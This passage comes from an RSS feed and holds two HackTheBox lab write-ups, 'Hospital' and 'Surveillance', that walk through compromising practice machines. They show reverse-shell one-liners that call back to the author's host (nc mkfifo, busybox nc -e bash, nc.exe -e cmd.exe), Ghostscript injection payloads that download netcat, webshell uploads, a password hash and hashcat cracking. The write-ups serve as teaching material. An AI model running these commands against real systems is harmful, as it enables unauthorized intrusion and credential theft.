            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Gerardo Torres]]></dc:creator>
            <pubDate>Sat, 13 Apr 2024 20:20:06 GMT</pubDate>
            <atom:updated>2024-04-13T20:20:06.752Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Hospital Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZSZfBww8m_pnHYB0yw5QA.png" /></figure><p>Here is the writeup for another HackTheBox machine, and my first Windows machine writeup. This time, we have “Hospital,” a medium-difficulty Windows Machine created by <a href="https://app.hackthebox.com/users/1253217">ruycr4ft</a>.</p><h3>Enumeration</h3><p>Let’s start by conducting an Nmap scan, using the following parameters: <em>-sV </em>for version enumeration, <em>-sC </em>for default scripts, <em>-p-</em>to scan all ports, <em>-T4</em>to expedite the scan, and <em>-oN</em> to save the scan results to the file <em>nmap.txt</em>.</p><pre># Nmap 7.80 scan initiated Sat Apr 13 10:16:42 2024 as: nmap -sCV -p- -T4 -oN nmap.txt 10.10.11.241<br>Nmap scan report for 10.10.11.241<br>Host is up (0.048s latency).<br>Not shown: 65508 filtered ports<br>PORT     STATE SERVICE           VERSION<br>22/tcp   open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)<br>53/tcp   open  domain?<br>| fingerprint-strings: <br>|   DNSVersionBindReqTCP: <br>|     version<br>|_    bind<br>88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-04-13 22:18:44Z)<br>135/tcp  open  msrpc             Microsoft Windows RPC<br>139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn<br>443/tcp  open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)<br>|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28<br>|_http-title: Hospital Webmail :: Welcome to Hospital Webmail<br>| ssl-cert: Subject: commonName=localhost<br>| Not valid before: 2009-11-10T23:48:47<br>|_Not valid after:  2019-11-08T23:48:47<br>|_ssl-date: TLS randomness does not represent time<br>| tls-alpn: <br>|_  http/1.1<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ldapssl?<br>| ssl-cert: Subject: commonName=DC<br>| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb<br>| Not valid before: 2023-09-06T10:49:03<br>|_Not valid after:  2028-09-06T10:49:03<br>1801/tcp open  msmq?<br>2103/tcp open  msrpc             Microsoft Windows RPC<br>2105/tcp open  msrpc             Microsoft Windows RPC<br>2107/tcp open  msrpc             Microsoft Windows RPC<br>2179/tcp open  vmrdp?<br>3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC<br>| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb<br>| Not valid before: 2023-09-06T10:49:03<br>|_Not valid after:  2028-09-06T10:49:03<br>3269/tcp open  globalcatLDAPssl?<br>| ssl-cert: Subject: commonName=DC<br>| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb<br>| Not valid before: 2023-09-06T10:49:03<br>|_Not valid after:  2028-09-06T10:49:03<br>3389/tcp open  ms-wbt-server     Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: HOSPITAL<br>|   NetBIOS_Domain_Name: HOSPITAL<br>|   NetBIOS_Computer_Name: DC<br>|   DNS_Domain_Name: hospital.htb<br>|   DNS_Computer_Name: DC.hospital.htb<br>|   DNS_Tree_Name: hospital.htb<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2024-04-13T22:21:01+00:00<br>| ssl-cert: Subject: commonName=DC.hospital.htb<br>| Not valid before: 2024-04-12T20:40:43<br>|_Not valid after:  2024-10-12T20:40:43<br>5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>6404/tcp open  msrpc             Microsoft Windows RPC<br>6406/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0<br>6407/tcp open  msrpc             Microsoft Windows RPC<br>6411/tcp open  msrpc             Microsoft Windows RPC<br>6617/tcp open  msrpc             Microsoft Windows RPC<br>6634/tcp open  msrpc             Microsoft Windows RPC<br>8080/tcp open  http              Apache httpd 2.4.55 ((Ubuntu))<br>| http-cookie-flags: <br>|   /: <br>|     PHPSESSID: <br>|_      httponly flag not set<br>|_http-open-proxy: Proxy might be redirecting requests<br>|_http-server-header: Apache/2.4.55 (Ubuntu)<br>| http-title: Login<br>|_Requested resource was login.php<br>9389/tcp open  mc-nmf            .NET Message Framing<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port53-TCP:V=7.80%I=7%D=4/13%Time=661AA258%P=x86_64-pc-linux-gnu%r(DNSV<br>SF:ersionBindReqTCP,20,&quot;\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\<br>SF:x04bind\0\0\x10\0\x03&quot;);<br>Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2024-04-13T22:21:02<br>|_  start_date: N/A<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Sat Apr 13 10:21:41 2024 -- 1 IP address (1 host up) scanned in 299.08 seconds</pre><p>We observe several ports open on the target machine. Initially, I attempted an anonymous login via SMB but found that it was not permitted. Additionally, we identify the presence of RDP and WinRM services, gaining valid credentials could enable access to the machine through these services. However, let’s now focus on ports 443 and 8080, both running Apache servers.</p><h4>443 — HTTPS</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zFMeT3GNbqMLtFral0SgzA.png" /></figure><p>Upon examining the source code, I discovered it’s hosting Roundcube, a webmail application. I tried common passwords without success, and after further exploration, I found nothing else noteworthy. Let’s now proceed to the web server on port 8080.</p><h4>8080 — HTTP</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Yi1lx67HomjIbTgenCmhA.png" /></figure><p>We also encounter a login page, and this time we have the option to create an account, so let’s proceed with that.</p><p>After logging into the created account, we discover an upload page where we can upload our medical records.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DAxaHddEx4TfIJ7NPGLY-A.png" /></figure><h3>File Upload</h3><p>I attempted to upload a .php file, but I encountered an error message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbMPAzJsd2m2ocKXbwZ4NA.png" /></figure><p>I uploaded the PHP file again, but this time I intercepted the request with Burp Suite. By experimenting with different extensions using Intruder, I discovered that .phar is allowed, which can be used to include PHP scripts and execute them. Therefore, I uploaded a PHP reverse shell and changed the file extension to .phar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*uQpiu1BgwaZpz7Zx1kCe2Q.png" /></figure><p>To determine the location of the uploaded files, I ran a quick directory brute-force scan using gobuster and discovered the /uploads/ directory, where the uploaded files are likely stored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*F7FymwuiUo6dYm4VGCTryQ.png" /></figure><p>However, when attempting to access the file from the website at <a href="http://10.10.11.241:8080/uploads/php-reverse-shell.phar,">http://10.10.11.241:8080/uploads/php-reverse-shell.phar,</a> I received an error message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*Gp8UKOi8jbqrAvn4riARNw.png" /></figure><p>Additionally, I received a connection back to my Netcat listener, although without spawning a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*fblIQc-KmAKFygo2azVjxg.png" /></figure><p>Next, I’m going to try uploading a different webshell called p0wny-shell, which allows you to interact with the shell session directly from the website.</p><p><a href="https://github.com/flozz/p0wny-shell">GitHub - flozz/p0wny-shell: Single-file PHP shell</a></p><p>By repeating the same steps with the new shell, visiting <a href="http://10.10.11.241:8080/uploads/php-reverse-shell.phar">http://10.10.11.241:8080/uploads/p0wny-shell.phar</a> resulted in gaining a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZHGeJiiOJCCrKH7utmfIg.png" /></figure><p>Let’s initiate a reverse shell from here. I visited <a href="https://www.revshells.com/">revshells.com</a> and selected the “nc mkfifo” reverse shell.</p><pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&gt;&amp;1|nc 10.10.14.104 4444 &gt;/tmp/f</pre><p>And just like that, we’ve got a shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*qXLjZBxYNqN8QnLZCkIBMQ.png" /></figure><h3>www-data PrivEsc</h3><p>The first thing I did was upgrade my shell to a fully interactive TTY shell using the following commands:</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>Ctrl-Z<br><br>stty raw -echo; fg<br>reset<br><br>export SHELL=bash<br>export TERM=xterm-256color</pre><p>While examining the files, I found a config.php file in the /var/www/html directory containing MySQL credentials for the username root. Perhaps we can use these credentials to escalate privileges to the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*V-E7RtPiBprZOrrFGzGo6Q.png" /></figure><p>After attempting to connect to the MySQL server with the discovered credentials and encountering issues, I verified that the password was not reused for the root user. Let’s explore alternative methods to gain root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*UVpBMZsXJlVRFSYZX5jn1A.png" /></figure><p>Upon examining the kernel version and Ubuntu release I discovered a vulnerability called GameOver(lay) that could potentially allow for privilege escalation.</p><p><a href="https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629">GitHub - g1vi/CVE-2023-2640-CVE-2023-32629: GameOver(lay) Ubuntu Privilege Escalation</a></p><p>The payload leverages two vulnerabilities, CVE-2023-2640 and CVE-2023-32629. If you’re curious about how this payload works, I recommend checking out this article.</p><p><a href="https://medium.com/@0xrave/ubuntu-gameover-lay-local-privilege-escalation-cve-2023-32629-and-cve-2023-2640-7830f9ef204a">Ubuntu GameOver(lay) Local Privilege Escalation CVE-2023–32629 and CVE-2023–2640</a></p><h3>GameOver(lay)</h3><p>After cloning the GitHub repository, we find the exploit.sh file. To transfer the exploit script to the target machine, I started a Python web server on my local machine and used wget on the target machine to download the script from the web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*-Rmo4-uetFZ7U4JkmsU4Cg.png" /></figure><p>After running the script, we successfully escalated our privileges to root.</p><h3>root</h3><p>Examining the /etc/shadow file, we discover another user drwilliams along with their hashed password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*e9g5DPzEoDCGMt5_Hn_plA.png" /></figure><p>Let’s copy the hashed password and try to crack it using hashcat.</p><pre>hashcat -m 1800 -a 0 hash /usr/share/wordlist/rockyou.txt</pre><p>I used mode -m 1800 for the SHA-512 hashes, identified by the hash format,$6$. I employed wordlist attack mode -a 0 and utilized the rockyou.txt wordlist.</p><p>The content of the hash file is the following:</p><pre>$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/</pre><p>After a brief period, we successfully cracked the hash and obtained the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b5Uv9XJxeG1Y9aQN7JWnmQ.png" /></figure><p>We discovered a mail server earlier that required credentials, so let’s attempt to use this password to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cD3Lhm84DF-_l06HIEoQvw.png" /></figure><p>And it worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*puPNubJHHyvcM9aR6d4-YQ.png" /></figure><p>We discover an email from drbworn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*COtecc-Zlqsd4X-tK-uZBA.png" /></figure><h3>CVE-2023–36664</h3><p>The use of GhostScript presents an interesting opportunity. After a quick search, I discovered a command injection vulnerability that we can exploit.</p><p><a href="https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection">GitHub - jakabakos/CVE-2023-36664-Ghostscript-command-injection: Ghostscript command injection vulnerability PoC (CVE-2023-36664)</a></p><p>The exploit is written in Python and appears to take advantage of a vulnerability in Ghostscript, where improper permission validation for pipe devices can result in command injection when processing malformed document files.</p><p>The idea I have is to send the Netcat executable to the Windows machine and have it establish a connection back to me.</p><p>I’ll use the following commands to alter the .eps file that before sending it to drbrown:</p><pre># Transfer the netcat file<br>python3 CVE_2023_36664_exploit.py --inject --payload &quot;curl 10.10.14.104:8000/nc64.exe -o nc.exe&quot; --filename file.eps<br><br># Establish a reverse connection wiht my machine<br>python3 CVE_2023_36664_exploit.py --inject --payload &quot;nc.exe 10.10.14.104 4444 -e cmd.exe&quot; --filename file.eps</pre><p>The idea with these commands is to inject a payload into file.eps, which we will then send to drbrown by replying to this email. In his email, he mentioned, “I can take them to the 3D printing department and start producing them right away.” Therefore, if we send him this file, he will run it with GhostScript, triggering the injected payload to establish a reverse connection to the Windows machine.</p><p>After executing the first command and sending the file, we can confirm that it worked as intended.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vgmuszV436u49qnRm-BWHg.png" /></figure><p>Now, after executing the second command and sending the file again, we should successfully obtain a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*qVytejIjQhOsyzNthT7ubA.png" /></figure><p>We indeed obtain a shell as the user drbrown.</p><h3>drbrown PrivEsc</h3><p>Upon changing directory to his Desktop, we find the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*PjIEe6HlxnP1TWs4X0mnHg.png" /></figure><p>In the root directory, we find a directory named xampp, which is used to host a web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*Mxdr4A-vqyeg-OhziAVJjw.png" /></figure><p>After navigating to the root directory for the webserver at C:\xampp\htdocs\, I examined the index.php file to gather more information. At the beginning of the file, it indicates that it is hosting the Roundcube Webmail IMAP client, which we had previously encountered on the HTTPS webserver containing the email from drbrown. Therefore, we can attempt to upload a PHP shell here, as we have done previously, and try to escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*JazTXBW1Bi6yxUK10ei5zw.png" /></figure><h3>authority\system</h3><p>Now visiting the shell on the website, we are able to get a shell as authority\system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gCvPFbA7joJKTOxTJUiuOA.png" /></figure><p>And here we have the Root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*vNEVB03m53CvML3n4CLuxA.png" /></figure><p>If after reading the writeup you have any feedback regarding the article or suggestions for improving my methodology in tackling this machine, please feel free to leave a comment on the article or reach out to me directly. I constantly strive to enhance my skills and learn new techniques, so your input is highly valued. Thanks for the support!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a4ec1b3f2c57" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Surveillance Writeup]]></title>
            <link>https://medium.com/@fre1si/hackthebox-surveillance-writeup-fccd621b52ee?source=rss-34fba6b13e2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/fccd621b52ee</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[surveillance]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Gerardo Torres]]></dc:creator>
            <pubDate>Sun, 17 Mar 2024 18:12:42 GMT</pubDate>
            <atom:updated>2024-04-20T15:15:51.121Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Surveillance Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5zVD8sAyu2UTSBVvXfqrQ.png" /></figure><p>Here is the writeup for another HackTheBox machine; this time, we have “Surveillance” created by <a href="https://app.hackthebox.com/users/114053">TheCyberGeek</a> &amp; <a href="https://app.hackthebox.com/users/31190">TRX</a>.</p><h3>Enumeration</h3><p>Let’s start by conducting an Nmap scan, using the following parameters: <em>-sV </em>for version enumeration, <em>-sC </em>for default scripts, <em>-p-</em>to scan all ports, <em>-T4</em>to expedite the scan, and <em>-oN</em> to save the scan results to the file <em>nmap.txt</em>.</p><pre># Nmap 7.80 scan initiated Wed Mar  6 10:25:27 2024 as: nmap -sVC -p- -T4 -oN nmap.txt 10.10.11.245<br>Nmap scan report for 10.10.11.245<br>Host is up (0.042s latency).<br>Not shown: 65533 closed ports<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    nginx 1.18.0 (Ubuntu)<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>|_http-title: Did not follow redirect to http://surveillance.htb/<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Wed Mar  6 10:25:53 2024 -- 1 IP address (1 host up) scanned in 26.25 seconds</pre><p>The Nmap scan unveiled two open TCP ports: port 22, which is running OpenSSH, and port 80, hosting a web server. It appears that we need to append surveillance.htbto our /etc/hostsfile, let’s do that first.</p><h4>80 — HTTP</h4><p>Navigating to the website at <a href="http://surveillance.htb/">http://surveillance.htb/</a>, we find the home page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYSRuC3-jSA2QXS-fUC76w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*wcxmia2MNQa59hxd6HDWPg.png" /></figure><p>The website indicates that it is powered by <strong>Craft CMS. </strong>Craft CMS is a tool that offers powerful content modeling and organizational tools for projects. It is constructed on YII2, a PHP framework.</p><p>First, let’s check if there is a robots.txt file that may provide us with some information. The robots.txt file is used to instruct web crawlers about which parts of the website they are disallowed to scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4aDarLk1vetRIxGg137OJA.png" /></figure><p>However, it appears that there is no such file. So, let’s examine the source code to see if there’s anything of interest there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*KqdtwU0Cpyc-oG-9_tZ1IA.png" /></figure><p>After a quick scan of the source code, we discovered that the website is running Craft CMS version 4.4.14. Now that we have the version information, let’s search if there are any known vulnerabilities associated with it that we can potentially exploit.</p><h3>CVE-2023–41892</h3><p>Great, there is an unauthenticated remote code execution (RCE) vulnerability that affects Craft CMS version 4.0.0-RC1 to 4.4.14, which applies to our version.</p><p><a href="https://github.com/Faelian/CraftCMS_CVE-2023-41892">GitHub - Faelian/CraftCMS_CVE-2023-41892: Exploit for CVE-2023-41892</a></p><p>This exploit leverages a method that permits the inclusion of arbitrary files, potentially enabling an attacker to inject PHP code into the log file.</p><p><a href="https://threatprotect.qualys.com/2023/09/25/craft-cms-remote-code-execution-vulnerability-cve-2023-41892/">Craft CMS Remote Code Execution Vulnerability (CVE-2023-41892)</a></p><p>If you are interested in learning more about how this exploit works, I found the article above helpful for getting a better understanding of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*Qo9eU2mOOu1tHk2MD6ds1g.png" /></figure><p>Now, onto the exploitation. We just need to execute the Python script from the GitHub and provide it with the URL, <a href="http://surveillance.htb/and">http://surveillance.htb/</a>. This grants us a shell as the www-datauser. However, it seems that we are confined to the /var/www/html/craft/web directory.</p><p>We know that the website supports PHP files, so let’s test whether we can execute our own PHP files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*rfLzWm7ZIk4wKyjA0zQrhg.png" /></figure><p>First, I created a super simple test.phpfile and ran it from the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*VcH--r-StErnw6zwLTxsWA.png" /></figure><p>And it worked! So let’s upload a reverse shell from reverseshells.com. I’ll be using thePHP PentestMonkeywith bashfor my shell, as I have found it to be pretty reliable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*_nkNFIuA5Ow13mMe7Zutsw.png" /></figure><p>Now let’s set up a Netcat listener and visit <a href="http://surveillance.htb/rev.php">http://surveillance.htb/rev.php</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*CG4luOoEYuh8NatGPYQCGA.png" /></figure><p>First of all, let’s upgrade the shell using the following commands:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>Ctrl-Z<br><br>stty raw -echo; fg<br><br>reset<br><br># If it asks what type of shell say<br>xterm-256color<br><br>export TERM=xterm-256color<br>export SHELL=bash</pre><h3>www-data PrivEsc</h3><p>After upgrading the shell, I first looked at the .envfile, which displays the environment variables and can sometimes provide useful information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*gyH4PvCrEep8MEbltVZAjQ.png" /></figure><p>We discover some potential MySQL database credentials: craftuser:CraftCMSPassword2023!.</p><p>I attempted to access the MySQL database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*inrdKdmacdACshIRWEABmg.png" /></figure><p>And we gained access! Within the craftdbdatabase, we find a userstable containing admin credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*Vm7FPchid2qoCXPg2X3HuQ.png" /></figure><p>Let’s determine the type of hash used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*_WBZgxidgzssCEi9oar0Lg.png" /></figure><p>We identify that it is bcrypt $2*$, which corresponds to the Blowfish (Unix) algorithm. I then attempted to crack it with hashcat using mode -m 3200, a wordlist attack -a 0 , and utilizing the rockyou password list.</p><pre>hashcat -m 3200 -a 0 hash /usr/share/wordlist/rockyou.txt</pre><p>While it was running, it was taking longer than usual, leading me to believe that it might not yield any results. Therefore, while it was still running, I continued with further enumeration and discovered a backup folder containing an .sql.zipfile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*pKv4hftH_vJUMLl85SXJ6Q.png" /></figure><p>After unzipping the file and retrieving the users table, we found some additional credentials for admin, which belong to the user matthew.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*SXK2cqZi_oXPUGZAEUfImw.png" /></figure><p>Using hashes.com again, we determine the type of hash used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*7H28Rl899h5al7A5Nmf1tw.png" /></figure><p>It seems to be a SHA256hash. So, let’s crack it using the same syntax as before but with mode -m 1400, which corresponds to the SHA256hash.</p><pre>hashcat -m 1400 -a 0 hash /usr/share/wordlist/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*hSB1qBBY1eLCdMavsUPgsA.png" /></figure><p>And there we go! In only 3 seconds, we have a potential password for the user matthew.</p><h3>matthew PrivEsc</h3><p>Let’s utilize the password we found and establish a connection as matthew using SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*JP2hM3DcupeDjUClrz2T0A.png" /></figure><p>We also retrieve the user.txtfile, thus obtaining the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*DVHulyZjjo6tXruGqDExDQ.png" /></figure><p>I checked for sudo privileges, but we have none.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*MHgvXoAEJN8kM8XvTJDJVQ.png" /></figure><p>Similarly, when looking for files with SUID permissions, I found none that stood out. I also examined the kernel version and cronjobs, but there was nothing exploitable that I could identify. Let’s proceed to run LinPEAS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*xAZ9r4NhmKKHQtcQPvlz5w.png" /></figure><p>The first thing that caught my attention was some configuration files for Zoneminder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*6tyBMQJ04dgZwJSYDe11Bg.png" /></figure><p>Going down a bit more, I found a set of database credentials for the Zoneminder service.</p><p>In one of the configuration files that LinPEAS showed us, we can see this service is running locally at 127.0.0.1:8080. So, let’s set up port forwarding with SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*chA-q-XRxO30wYRNn_luRQ.png" /></figure><h4>127.0.0.1:8080 — HTTP</h4><p>Going to 127.0.0.1:1337, we find the homepage of the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jyLhKiUfFs_5JarPe8HObg.png" /></figure><p>I attempted to use some default credentials like admin:admin and I also tried zoneminder:ZoneMinderPassword2023, but unfortunately, I had no luck. Conducting further enumeration on the website did not reveal anything of interest. Let’s proceed to see if we find a version number or any other useful information in the configuration files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*i4Jelyu-N0b1dmzJYaqQHg.png" /></figure><p>Going to /usr/share/zoneminder/www/api/app/Config, we find the version number. Let’s search to see if this version is vulnerable.</p><h4>CVE-2023–26035</h4><p><a href="https://github.com/heapbytes/CVE-2023-26035/tree/main?tab=readme-ov-file">GitHub - heapbytes/CVE-2023-26035: POC script for CVE-2023-26035 (zoneminder 1.36.32)</a></p><p>We discover that this version of Zoneminder is vulnerable to Remote Code Execution (RCE). Let’s start by testing if it works by sending an ICMP request to ourselves from the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SdwryWVwvuvALnjTtu06Zw.png" /></figure><p>The command is executed correctly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S9x2lRZ0z_rNnh8UIN6jJg.png" /></figure><p>Using tcpdumpand listening to the tun0 interface, we see the TCP handshake occurring between my device and the website. Now, it’s time to send a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CxC1XUGPbzGO9nsHxnGT1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*WKRJaoKD_KzIMK28sgPOiQ.png" /></figure><p>Listing on port 8888 with Netcat, we establish a connection back as thezoneminderuser. I also upgraded the shell using the same commands as before.</p><h3>zoneminder PrivEsc</h3><p>I first checked for sudo privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*nWL6mXr5Xa5vhSn_f1aFWQ.png" /></figure><p>We can run /usr/bin/zm[a-zA-Z]*.pl *with sudo privileges. This means we can execute any of the following Perl files with sudo privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*JmXma7mTsG7anN4yP_mKnw.png" /></figure><p>After some research, I found that you are able to run commands by taking advantage of the zmupdate.plfile.</p><p><a href="https://github.com/ZoneMinder/zoneminder/issues/2945">zmupdate.pl error · Issue #2945 · ZoneMinder/zoneminder</a></p><p>However, this didn’t work. After some further searching around, I came across a similar vulnerability that also uses the zmupdate.plfile, but with a different syntax.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*AiIJyCtelMWQSORrKk3dhg.png" /></figure><p>The only problem is that I don’t receive the output from the commands that I run. Therefore, I’ll copy the root.txtfile into the /tmpdirectory and make it readable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*-Au0m7D5viW-DECXiiSzHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*rwVHlJ_80TrsI8MHqQDD8A.png" /></figure><p>And with this, we obtain the root flag root.txt.</p><p>However, it’s no fun if we don’t manage to become root, so let’s give it a try.</p><h3>root</h3><p>For this, let’s return to revshells.com.</p><pre>#!/bin/bash<br>busybox nc 10.10.14.146 7777 -e bash</pre><p>I created this reverse shell script on my local machine and used a Python web server along with wgetto transfer the file. Then, I made it executable by changing its permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*K1SA9LZhFxiuIVuHBRoXVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*31br8n8ulR_uO9kgrDpb6g.png" /></figure><p>And we became root!</p><p>You can probably achieve root access using various methods such as changing root’s password or setting the SUID bit on a binary that allows privilege escalation, among others. However, I opted to do it this way.</p><p>If after reading the writeup you have any feedback regarding the article or suggestions for improving my methodology in tackling this machine, please feel free to leave a comment on the article or reach out to me directly. I constantly strive to enhance my skills and learn new techniques, so your input is highly valued. Thanks for the support!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fccd621b52ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox — Builder Writeup]]></title>
            <link>https://medium.com/@fre1si/builder-htb-write-up-143ad7fde347?source=rss-34fba6b13e2a------2</link>
            <guid isPermaLink="false">https://medium.com/p/143ad7fde347</guid>
            <category><![CDATA[builders]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Gerardo Torres]]></dc:creator>
            <pubDate>Sat, 02 Mar 2024 01:24:49 GMT</pubDate>
            <atom:updated>2024-03-27T14:53:24.467Z</atom:updated>
